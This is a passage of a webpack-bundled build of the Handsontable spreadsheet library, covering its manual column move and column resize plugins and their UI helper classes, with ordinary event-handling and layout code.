_element.offset)(this.hot.rootElement).left; var countColumnsFrom = priv.hasRowHeaders ? -1 : 0; var topPos = wtTable.holder.scrollTop + wtTable.getColumnHeaderHeight(0) + 1; var fixedColumns = coords.col < priv.fixedColumns; var scrollableElement = this.hot.view.wt.wtOverlays.scrollableElement; var wrapperIsWindow = scrollableElement.scrollX ? scrollableElement.scrollX - priv.rootElementOffset : 0; var mouseOffset = event.layerX - (fixedColumns ? wrapperIsWindow : 0); var leftOffset = Math.abs(this.getColumnsWidth(start, coords.col) + mouseOffset); this.backlight.setPosition(topPos, this.getColumnsWidth(countColumnsFrom, start) + leftOffset); this.backlight.setSize(this.getColumnsWidth(start, end + 1), wtTable.hider.offsetHeight - topPos); this.backlight.setOffset(null, leftOffset * -1); (0, _element.addClass)(this.hot.rootElement, CSS_ON_MOVING); } else { (0, _element.removeClass)(this.hot.rootElement, CSS_AFTER_SELECTION); priv.pressed = false; priv.columnsToMove.length = 0; } } /** * 'mouseMove' event callback. Fired when pointer move on document.documentElement. * * @private * @param {MouseEvent} event `mousemove` event properties. */ }, { key: "onMouseMove", value: function onMouseMove(event) { var priv = privatePool.get(this); if (!priv.pressed) { return; } // callback for browser which doesn't supports CSS pointer-event: none if (event.realTarget === this.backlight.element) { var width = this.backlight.getSize().width; this.backlight.setSize(0); setTimeout(function () { this.backlight.setPosition(width); }); } priv.target.eventPageX = event.pageX; this.refreshPositions(); } /** * 'beforeOnCellMouseOver' hook callback. Fired when pointer was over cell. * * @private * @param {MouseEvent} event `mouseover` event properties. * @param {CellCoords} coords Visual cell coordinates where was fired event. * @param {HTMLElement} TD Cell represented as HTMLElement. * @param {Object} blockCalculations Object which contains information about blockCalculation for row, column or cells. */ }, { key: "onBeforeOnCellMouseOver", value: function onBeforeOnCellMouseOver(event, coords, TD, blockCalculations) { var selectedRange = this.hot.getSelectedRangeLast(); var priv = privatePool.get(this); if (!selectedRange || !priv.pressed) { return; } if (priv.columnsToMove.indexOf(coords.col) > -1) { (0, _element.removeClass)(this.hot.rootElement, CSS_SHOW_UI); } else { (0, _element.addClass)(this.hot.rootElement, CSS_SHOW_UI); } blockCalculations.row = true; blockCalculations.column = true; blockCalculations.cell = true; priv.coordsColumn = coords.col; priv.target.TD = TD; } /** * `onMouseUp` hook callback. * * @private */ }, { key: "onMouseUp", value: function onMouseUp() { var priv = privatePool.get(this); priv.coordsColumn = void 0; priv.pressed = false; priv.backlightWidth = 0; (0, _element.removeClass)(this.hot.rootElement, [CSS_ON_MOVING, CSS_SHOW_UI, CSS_AFTER_SELECTION]); if (this.hot.selection.isSelectedByColumnHeader()) { (0, _element.addClass)(this.hot.rootElement, CSS_AFTER_SELECTION); } if (priv.columnsToMove.length < 1 || priv.target.col === void 0 || priv.columnsToMove.indexOf(priv.target.col) > -1) { return; } this.moveColumns(priv.columnsToMove, priv.target.col); this.persistentStateSave(); this.hot.render(); this.hot.view.wt.wtOverlays.adjustElementsSize(true); if (!priv.disallowMoving) { var selectionStart = this.columnsMapper.getIndexByValue(priv.columnsToMove[0]); var selectionEnd = this.columnsMapper.getIndexByValue(priv.columnsToMove[priv.columnsToMove.length - 1]); this.changeSelection(selectionStart, selectionEnd); } priv.columnsToMove.length = 0; } /** * `afterScrollHorizontally` hook callback. Fired the table was scrolled horizontally. * * @private */ }, { key: "onAfterScrollVertically", value: function onAfterScrollVertically() { var wtTable = this.hot.view.wt.wtTable; var headerHeight = wtTable.getColumnHeaderHeight(0) + 1; var scrollTop = wtTable.holder.scrollTop; var posTop = headerHeight + scrollTop; this.backlight.setPosition(posTop); this.backlight.setSize(null, wtTable.hider.offsetHeight - posTop); } /** * `afterCreateCol` hook callback. * * @private * @param {Number} index Visual index of the created column. * @param {Number} amount Amount of created columns. */ }, { key: "onAfterCreateCol", value: function onAfterCreateCol(index, amount) { this.columnsMapper.shiftItems(index, amount); } /** * On before remove column listener. * * @private * @param {Number} index Visual column index. * @param {Number} amount Defines how many columns removed. */ }, { key: "onBeforeRemoveCol", value: function onBeforeRemoveCol(index, amount) { var _this5 = this; this.removedColumns.length = 0; if (index !== false) { // Collect physical row index. (0, _number.rangeEach)(index, index + amount - 1, function (removedIndex) { _this5.removedColumns.push(_this5.hot.runHooks('modifyCol', removedIndex, _this5.pluginName)); }); } } /** * `afterRemoveCol` hook callback. * * @private */ }, { key: "onAfterRemoveCol", value: function onAfterRemoveCol() { this.columnsMapper.unshiftItems(this.removedColumns); } /** * `afterLoadData` hook callback. * * @private */ }, { key: "onAfterLoadData", value: function onAfterLoadData() { this.updateColumnsMapper(); } /** * 'modifyRow' hook callback. * * @private * @param {Number} column Visual column index. * @returns {Number} Physical column index. */ }, { key: "onModifyCol", value: function onModifyCol(column, source) { var physicalColumn = column; if (source !== this.pluginName) { // ugly fix for try to insert new, needed columns after pasting data var columnInMapper = this.columnsMapper.getValueByIndex(physicalColumn); physicalColumn = columnInMapper === null ? physicalColumn : columnInMapper; } return physicalColumn; } /** * 'unmodifyCol' hook callback. * * @private * @param {Number} column Physical column index. * @returns {Number} Visual column index. */ }, { key: "onUnmodifyCol", value: function onUnmodifyCol(column) { var indexInMapper = this.columnsMapper.getIndexByValue(column); return indexInMapper === null ? column : indexInMapper; } /** * `afterPluginsInitialized` hook callback. * * @private */ }, { key: "onAfterPluginsInitialized", value: function onAfterPluginsInitialized() { this.updateColumnsMapper(); this.initialSettings(); this.backlight.build(); this.guideline.build(); } /** * Destroys the plugin instance. */ }, { key: "destroy", value: function destroy() { this.backlight.destroy(); this.guideline.destroy(); _get(_getPrototypeOf(ManualColumnMove.prototype), "destroy", this).call(this); } }]); return ManualColumnMove; }(_base.default); (0, _plugins.registerPlugin)('ManualColumnMove', ManualColumnMove); var _default = ManualColumnMove; exports.default = _default; /***/ }), /* 724 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = void 0; var _arrayMapper = _interopRequireDefault(__webpack_require__(125)); var _array = __webpack_require__(3); var _object = __webpack_require__(2); var _number = __webpack_require__(9); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } /** * @class ColumnsMapper * @plugin ManualColumnMove */ var ColumnsMapper = /*#__PURE__*/ function () { function ColumnsMapper(manualColumnMove) { _classCallCheck(this, ColumnsMapper); /** * Instance of ManualColumnMove plugin. * * @type {ManualColumnMove} */ this.manualColumnMove = manualColumnMove; } /** * Reset current map array and create new one. * * @param {Number} [length] Custom generated map length. */ _createClass(ColumnsMapper, [{ key: "createMap", value: function createMap(length) { var _this = this; var originLength = length === void 0 ? this._arrayMap.length : length; this._arrayMap.length = 0; (0, _number.rangeEach)(originLength - 1, function (itemIndex) { _this._arrayMap[itemIndex] = itemIndex; }); } /** * Destroy class. */ }, { key: "destroy", value: function destroy() { this._arrayMap = null; } /** * Moving elements in columnsMapper. * * @param {Number} from Column index to move. * @param {Number} to Target index. */ }, { key: "moveColumn", value: function moveColumn(from, to) { var indexToMove = this._arrayMap[from]; this._arrayMap[from] = null; this._arrayMap.splice(to, 0, indexToMove); } /** * Clearing arrayMap from `null` entries. */ }, { key: "clearNull", value: function clearNull() { this._arrayMap = (0, _array.arrayFilter)(this._arrayMap, function (i) { return i !== null; }); } }]); return ColumnsMapper; }(); (0, _object.mixin)(ColumnsMapper, _arrayMapper.default); var _default = ColumnsMapper; exports.default = _default; /***/ }), /* 725 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = void 0; var _base = _interopRequireDefault(__webpack_require__(434)); var _element = __webpack_require__(1); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function _typeof(obj) { if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); } function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } function _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === "object" || typeof call === "function")) { return call; } return _assertThisInitialized(self); } function _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return self; } function _get(target, property, receiver) { if (typeof Reflect !== "undefined" && Reflect.get) { _get = Reflect.get; } else { _get = function _get(target, property, receiver) { var base = _superPropBase(target, property); if (!base) return; var desc = Object.getOwnPropertyDescriptor(base, property); if (desc.get) { return desc.get.call(receiver); } return desc.value; }; } return _get(target, property, receiver || target); } function _superPropBase(object, property) { while (!Object.prototype.hasOwnProperty.call(object, property)) { object = _getPrototypeOf(object); if (object === null) break; } return object; } function _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); } function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); } function _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); } var CSS_CLASSNAME = 'ht__manualColumnMove--backlight'; /** * @class BacklightUI * @util */ var BacklightUI = /*#__PURE__*/ function (_BaseUI) { _inherits(BacklightUI, _BaseUI); function BacklightUI() { _classCallCheck(this, BacklightUI); return _possibleConstructorReturn(this, _getPrototypeOf(BacklightUI).apply(this, arguments)); } _createClass(BacklightUI, [{ key: "build", /** * Custom className on build process. */ value: function build() { _get(_getPrototypeOf(BacklightUI.prototype), "build", this).call(this); (0, _element.addClass)(this._element, CSS_CLASSNAME); } }]); return BacklightUI; }(_base.default); var _default = BacklightUI; exports.default = _default; /***/ }), /* 726 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = void 0; var _base = _interopRequireDefault(__webpack_require__(434)); var _element = __webpack_require__(1); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function _typeof(obj) { if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); } function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } function _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === "object" || typeof call === "function")) { return call; } return _assertThisInitialized(self); } function _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return self; } function _get(target, property, receiver) { if (typeof Reflect !== "undefined" && Reflect.get) { _get = Reflect.get; } else { _get = function _get(target, property, receiver) { var base = _superPropBase(target, property); if (!base) return; var desc = Object.getOwnPropertyDescriptor(base, property); if (desc.get) { return desc.get.call(receiver); } return desc.value; }; } return _get(target, property, receiver || target); } function _superPropBase(object, property) { while (!Object.prototype.hasOwnProperty.call(object, property)) { object = _getPrototypeOf(object); if (object === null) break; } return object; } function _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); } function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); } function _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); } var CSS_CLASSNAME = 'ht__manualColumnMove--guideline'; /** * @class GuidelineUI * @util */ var GuidelineUI = /*#__PURE__*/ function (_BaseUI) { _inherits(GuidelineUI, _BaseUI); function GuidelineUI() { _classCallCheck(this, GuidelineUI); return _possibleConstructorReturn(this, _getPrototypeOf(GuidelineUI).apply(this, arguments)); } _createClass(GuidelineUI, [{ key: "build", /** * Custom className on build process. */ value: function build() { _get(_getPrototypeOf(GuidelineUI.prototype), "build", this).call(this); (0, _element.addClass)(this._element, CSS_CLASSNAME); } }]); return GuidelineUI; }(_base.default); var _default = GuidelineUI; exports.default = _default; /***/ }), /* 727 */ /***/ (function(module, exports) { // removed by extract-text-webpack-plugin /***/ }), /* 728 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = void 0; var _base = _interopRequireDefault(__webpack_require__(15)); var _element = __webpack_require__(1); var _eventManager = _interopRequireDefault(__webpack_require__(10)); var _event = __webpack_require__(18); var _array = __webpack_require__(3); var _number = __webpack_require__(9); var _plugins = __webpack_require__(13); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function _typeof(obj) { if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); } function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } function _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === "object" || typeof call === "function")) { return call; } return _assertThisInitialized(self); } function _get(target, property, receiver) { if (typeof Reflect !== "undefined" && Reflect.get) { _get = Reflect.get; } else { _get = function _get(target, property, receiver) { var base = _superPropBase(target, property); if (!base) return; var desc = Object.getOwnPropertyDescriptor(base, property); if (desc.get) { return desc.get.call(receiver); } return desc.value; }; } return _get(target, property, receiver || target); } function _superPropBase(object, property) { while (!Object.prototype.hasOwnProperty.call(object, property)) { object = _getPrototypeOf(object); if (object === null) break; } return object; } function _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); } function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); } function _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); } function _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return self; } // Developer note! Whenever you make a change in this file, make an analogous change in manualRowResize.js /** * @description * This plugin allows to change columns width. To make columns width persistent the {@link Options#persistentState} * plugin should be enabled. * * The plugin creates additional components to make resizing possibly using user interface: * - handle - the draggable element that sets the desired width of the column. * - guide - the helper guide that shows the desired width as a vertical guide. * * @plugin ManualColumnResize */ var ManualColumnResize = /*#__PURE__*/ function (_BasePlugin) { _inherits(ManualColumnResize, _BasePlugin); function ManualColumnResize(hotInstance) { var _this; _classCallCheck(this, ManualColumnResize); _this = _possibleConstructorReturn(this, _getPrototypeOf(ManualColumnResize).call(this, hotInstance)); _this.currentTH = null; _this.currentCol = null; _this.selectedCols = []; _this.currentWidth = null; _this.newSize = null; _this.startY = null; _this.startWidth = null; _this.startOffset = null; _this.handle = document.createElement('DIV'); _this.guide = document.createElement('DIV'); _this.eventManager = new _eventManager.default(_assertThisInitialized(_assertThisInitialized(_this))); _this.pressed = null; _this.dblclick = 0; _this.autoresizeTimeout = null; _this.manualColumnWidths = []; (0, _element.addClass)(_this.handle, 'manualColumnResizer'); (0, _element.addClass)(_this.guide, 'manualColumnResizerGuide'); return _this; } /** * Checks if the plugin is enabled in the handsontable settings. This method is executed in {@link Hooks#beforeInit} * hook and if it returns `true` than the {@link ManualColumnResize#enablePlugin} method is called. * * @returns {Boolean} */ _createClass(ManualColumnResize, [{ key: "isEnabled", value: function isEnabled() { return this.hot.getSettings().manualColumnResize; } /** * Enables the plugin functionality for this Handsontable instance. */ }, { key: "enablePlugin", value: function enablePlugin() { var _this2 = this; if (this.enabled) { return; } this.manualColumnWidths = []; var initialColumnWidth = this.hot.getSettings().manualColumnResize; var loadedManualColumnWidths = this.loadManualColumnWidths(); this.addHook('modifyColWidth', function (width, col) { return _this2.onModifyColWidth(width, col); }); this.addHook('beforeStretchingColumnWidth', function (stretchedWidth, column) { return _this2.onBeforeStretchingColumnWidth(stretchedWidth, column); }); this.addHook('beforeColumnResize', function (currentColumn, newSize, isDoubleClick) { return _this2.onBeforeColumnResize(currentColumn, newSize, isDoubleClick); }); if (typeof loadedManualColumnWidths !== 'undefined') { this.manualColumnWidths = loadedManualColumnWidths; } else if (Array.isArray(initialColumnWidth)) { this.manualColumnWidths = initialColumnWidth; } else { this.manualColumnWidths = []; } // Handsontable.hooks.register('beforeColumnResize'); // Handsontable.hooks.register('afterColumnResize'); this.bindEvents(); _get(_getPrototypeOf(ManualColumnResize.prototype), "enablePlugin", this).call(this); } /** * Updates the plugin state. This method is executed when {@link Core#updateSettings} is invoked. */ }, { key: "updatePlugin", value: function updatePlugin() { var initialColumnWidth = this.hot.getSettings().manualColumnResize; if (Array.isArray(initialColumnWidth)) { this.manualColumnWidths = initialColumnWidth; } else if (!initialColumnWidth) { this.manualColumnWidths = []; } } /** * Disables the plugin functionality for this Handsontable instance. */ }, { key: "disablePlugin", value: function disablePlugin() { _get(_getPrototypeOf(ManualColumnResize.prototype), "disablePlugin", this).call(this); } /** * Saves the current sizes using the persistentState plugin (the {@link Options#persistentState} option has to be enabled). */ }, { key: "saveManualColumnWidths", value: function saveManualColumnWidths() { this.hot.runHooks('persistentStateSave', 'manualColumnWidths', this.manualColumnWidths); } /** * Loads the previously saved sizes using the persistentState plugin (the {@link Options#persistentState} option has to be enabled). * * @returns {Array} * * @fires Hooks#persistentStateLoad * @fires Hooks#manualColumnWidths */ }, { key: "loadManualColumnWidths", value: function loadManualColumnWidths() { var storedState = {}; this.hot.runHooks('persistentStateLoad', 'manualColumnWidths', storedState); return storedState.value; } /** * Set the resize handle position. * * @private * @param {HTMLCellElement} TH TH HTML element. */ }, { key: "setupHandlePosition", value: function setupHandlePosition(TH) { var _this3 = this; if (!TH.parentNode) { return false; } this.currentTH = TH; var col = this.hot.view.wt.wtTable.getCoords(TH).col; // getCoords returns CellCoords var headerHeight = (0, _element.outerHeight)(this.currentTH); if (col >= 0) { // if not col header var box = this.currentTH.getBoundingClientRect(); this.currentCol = col; this.selectedCols = []; if (this.hot.selection.isSelected() && this.hot.selection.isSelectedByColumnHeader()) { var _this$hot$getSelected = this.hot.getSelectedRangeLast(), from = _this$hot$getSelected.from, to = _this$hot$getSelected.to; var start = from.col; var end = to.col; if (start >= end) { start = to.col; end = from.col; } if (this.currentCol >= start && this.currentCol <= end) { (0, _number.rangeEach)(start, end, function (i) { return _this3.selectedCols.push(i); }); } else { this.selectedCols.push(this.currentCol); } } else { this.selectedCols.push(this.currentCol); } this.startOffset = box.left - 6; this.startWidth = parseInt(box.width, 10); this.handle.style.top = "".concat(box.top, "px"); this.handle.style.left = "".concat(this.startOffset + this.startWidth, "px"); this.handle.style.height = "".concat(headerHeight, "px"); this.hot.rootElement.appendChild(this.handle); } } /** * Refresh the resize handle position. * * @private */ }, { key: "refreshHandlePosition", value: function refreshHandlePosition() { this.handle.style.left = "".concat(this.startOffset + this.currentWidth, "px"); } /** * Sets the resize guide position. * * @private */ }, { key: "setupGuidePosition", value: function setupGuidePosition() { var handleHeight = parseInt((0, _element.outerHeight)(this.handle), 10); var handleBottomPosition = parseInt(this.handle.style.top, 10) + handleHeight; var maximumVisibleElementHeight = parseInt(this.hot.view.maximumVisibleElementHeight(0), 10); (0, _element.addClass)(this.handle, 'active'); (0, _element.addClass)(this.guide, 'active'); this.guide.style.top = "".concat(handleBottomPosition, "px"); this.guide.style.left = this.handle.style.left; this.guide.style.height = "".concat(maximumVisibleElementHeight - handleHeight, "px"); this.hot.rootElement.appendChild(this.guide); } /** * Refresh the resize guide position. * * @private */ }, { key: "refreshGuidePosition", value: function refreshGuidePosition() { this.guide.style.left = this.handle.style.left; } /** * Hides both the resize handle and resize guide. * * @private */ }, { key: "hideHandleAndGuide", value: function hideHandleAndGuide() { (0, _element.removeClass)(this.handle, 'active'); (0, _element.removeClass)(this.guide, 'active'); } /** * Checks if provided element is considered a column header. * * @private * @param {HTMLElement} element HTML element. * @returns {Boolean} */ }, { key: "checkIfColumnHeader", value: function checkIfColumnHeader(element) { if (element !== this.hot.rootElement) { var parent = element.parentNode; if (parent.tagName === 'THEAD') { return true; } return this.checkIfColumnHeader(parent); } return false; } /** * Gets the TH element from the provided element. * * @private * @param {HTMLElement} element HTML element. * @returns {HTMLElement} */ }, { key: "getTHFromTargetElement", value: function getTHFromTargetElement(element) { if (element.tagName !== 'TABLE') { if (element.tagName === 'TH') { return element; } return this.getTHFromTargetElement(element.parentNode); } return null; } /** * 'mouseover' event callback - set the handle position. * * @private * @param {MouseEvent} event */ }, { key: "onMouseOver", value: function onMouseOver(event) { if (this.checkIfColumnHeader(event.target)) { var th = this.getTHFromTargetElement(event.target); if (!th) { return; } var colspan = th.getAttribute('colspan'); if (th && (colspan === null || colspan === 1)) { if (!this.pressed) { this.setupHandlePosition(th); } } } } /** * Auto-size row after doubleclick - callback. * * @private * * @fires Hooks#beforeColumnResize * @fires Hooks#afterColumnResize */ }, { key: "afterMouseDownTimeout", value: function afterMouseDownTimeout() { var _this4 = this; var render = function render() { _this4.hot.forceFullRender = true; _this4.hot.view.render(); // updates all _this4.hot.view.wt.wtOverlays.adjustElementsSize(true); }; var resize = function resize(selectedCol, forceRender) { var hookNewSize = _this4.hot.runHooks('beforeColumnResize', selectedCol, _this4.newSize, true); if (hookNewSize !== void 0) { _this4.newSize = hookNewSize; } if (_this4.hot.getSettings().stretchH === 'all') { _this4.clearManualSize(selectedCol); } else { _this4.setManualSize(selectedCol, _this4.newSize); // double click sets by auto row size plugin } if (forceRender) { render(); } _this4.saveManualColumnWidths(); _this4.hot.runHooks('afterColumnResize', selectedCol, _this4.newSize, true); }; if (this.dblclick >= 2) { var selectedColsLength = this.selectedCols.length; if (selectedColsLength > 1) { (0, _array.arrayEach)(this.selectedCols, function (selectedCol) { resize(selectedCol); }); render(); } else { (0, _array.arrayEach)(this.selectedCols, function (selectedCol) { resize(selectedCol, true); }); } } this.dblclick = 0; this.autoresizeTimeout = null; } /** * 'mousedown' event callback. * * @private * @param {MouseEvent} event */ }, { key: "onMouseDown", value: function onMouseDown(event) { var _this5 = this; if ((0, _element.hasClass)(event.target, 'manualColumnResizer')) { this.setupGuidePosition(); this.pressed = this.hot; if (this.autoresizeTimeout === null) { this.autoresizeTimeout = setTimeout(function () { return _this5.afterMouseDownTimeout(); }, 500); this.hot._registerTimeout(this.autoresizeTimeout); } this.dblclick += 1; this.startX = (0, _event.pageX)(event); this.newSize = this.startWidth; } } /** * 'mousemove' event callback - refresh the handle and guide positions, cache the new column width. * * @private * @param {MouseEvent} event */ }, { key: "onMouseMove", value: function onMouseMove(event) { var _this6 = this; if (this.pressed) { this.currentWidth = this.startWidth + ((0, _event.pageX)(event) - this.startX); (0, _array.arrayEach)(this.selectedCols, function (selectedCol) { _this6.newSize = _this6.setManualSize(selectedCol, _this6.currentWidth); }); this.refreshHandlePosition(); this.refreshGuidePosition(); } } /** * 'mouseup' event callback - apply the column resizing. * * @private * * @fires Hooks#beforeColumnResize * @fires Hooks#afterColumnResize */ }, { key: "onMouseUp", value: function onMouseUp() { var _this7 = this; var render = function render() { _this7.hot.forceFullRender = true; _this7.hot.view.render(); // updates all _this7.hot.view.wt.wtOverlays.adjustElementsSize(true); }; var resize = function resize(selectedCol, forceRender) { _this7.hot.runHooks('beforeColumnResize', selectedCol, _this7.newSize, false); if (forceRender) { render(); } _this7.saveManualColumnWidths(); _this7.hot.runHooks('afterColumnResize', selectedCol, _this7.newSize); }; if (this.pressed) { this.hideHandleAndGuide(); this.pressed = false; if (this.newSize !== this.startWidth) { var selectedColsLength = this.selectedCols.length; if (selectedColsLength > 1) { (0, _array.arrayEach)(this.selectedCols, function (selectedCol) { resize(selectedCol); }); render(); } else { (0, _array.arrayEach)(this.selectedCols, function (selectedCol) { resize(selectedCol, true); }); } } this.setupHandlePosition(this.currentTH); } } /** * Binds the mouse events. * * @private */ }, { key: "bindEvents", value: function bindEvents() { var _this8 = this; this.eventManager.addEventListener(this.hot.rootElement, 'mouseover', function (e) { return _this8.onMouseOver(e); }); this.eventManager.addEventListener(this.hot.rootElement, 'mousedown', function (e) { return _this8.onMouseDown(e); }); this.eventManager.addEventListener(window, 'mousemove', function (e) { return _this8.onMouseMove(e); }); this.eventManager.addEventListener(window, 'mouseup', function () { return _this8.onMouseUp(); }); } /** * Sets the new width for specified column index. * * @param {Number} column Visual column index. * @param {Number} width Column width (no less than 20px). * @returns {Number} Returns new width. */ }, { key: "setManualSize", value: function setManualSize(column, width) { var newWidth = Math.max(width, 20); /** * We need to run col through modifyCol hook, in case the order of displayed columns is different than the order * in data source. For instance, this order can be modified by manualColumnMove plugin. */ var physicalColumn = this.hot.runHooks('modifyCol', column); this.manualColumnWidths[physicalColumn] = newWidth; return newWidth; } /** * Clears the cache for the specified column index. * * @param {Number} column Visual column index. */ }, { key: "clearManualSize", value: function clearManualSize(column) { var physicalColumn = this.hot.runHooks('modifyCol', column); this.manualColumnWidths[physicalColumn] = void 0; } /** * Modifies the provided column width, based on the plugin settings * * @private * @param {Number} width Column width. * @param {Number} column Visual column index. * @returns {Number} */ }, { key: "onModifyColWidth", value: function onModifyColWidth(width, column) { var newWidth = width; if (this.enabled) { var physicalColumn = this.hot.runHooks('modifyCol', column); var columnWidth = this.manualColumnWidths[physicalColumn]; if (this.hot.getSettings().manualColumnResize && columnWidth) { newWidth = columnWidth; } } return newWidth; } /** * Modifies the provided column stretched width. This hook decides if specified column should be stretched or not. * * @private * @param {Number} stretchedWidth Stretched width. * @param {Number} column Physical column index. * @returns {Number} */ }, { key: "onBeforeStretchingColumnWidth", value: function onBeforeStretchingColumnWidth(stretchedWidth, column) { var width = this.manualColumnWidths[column]; if (width === void 0) { width = stretchedWidth; } return width; } /** * `beforeColumnResize` hook callback. * * @private */ }, { key: "onBeforeColumnResize", value: function onBeforeColumnResize() { // clear the header height cache information this.hot.view.wt.wtViewport.hasOversizedColumnHeadersMarked = {}; } }]); return ManualColumnResize; }(_base.default); (0, _plugins.registerPlugin)('manualColumnResize', ManualColumnResize); var _default = ManualColumnResize; exports.default = _default; /***/ }), /* 729 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = void 0; var _base = _interopRequireDefault(__webpack_require__(15)); var _pluginHooks = _interopRequireDefault(__webpack_require__(22)); var _array = __webpack_require__(3); var _element = __webpack_require__(1); var _number = __webpack_require__(9); var _eventManager = _interopRequireDefault(__webpack_require__(10)); var _plugins = __webpack_require__(13); var _rowsMapper = _interopRequireDefault(__webpack_require__(730)); var _backlight = _interopRequireDefault(__webpack_require__(731)); var _guideline = _interopRequireDefault(__webpack_require__(732)); __webpack_require__(733); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function _typeof(obj) { if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); } function _toConsumableArray(arr) { return _arrayWithoutHoles(arr) || _iterableToArray(arr) || _nonIterableSpread(); } function _nonIterableSpread() { throw new TypeError("Invalid attempt to spread non-iterable instance"); } function 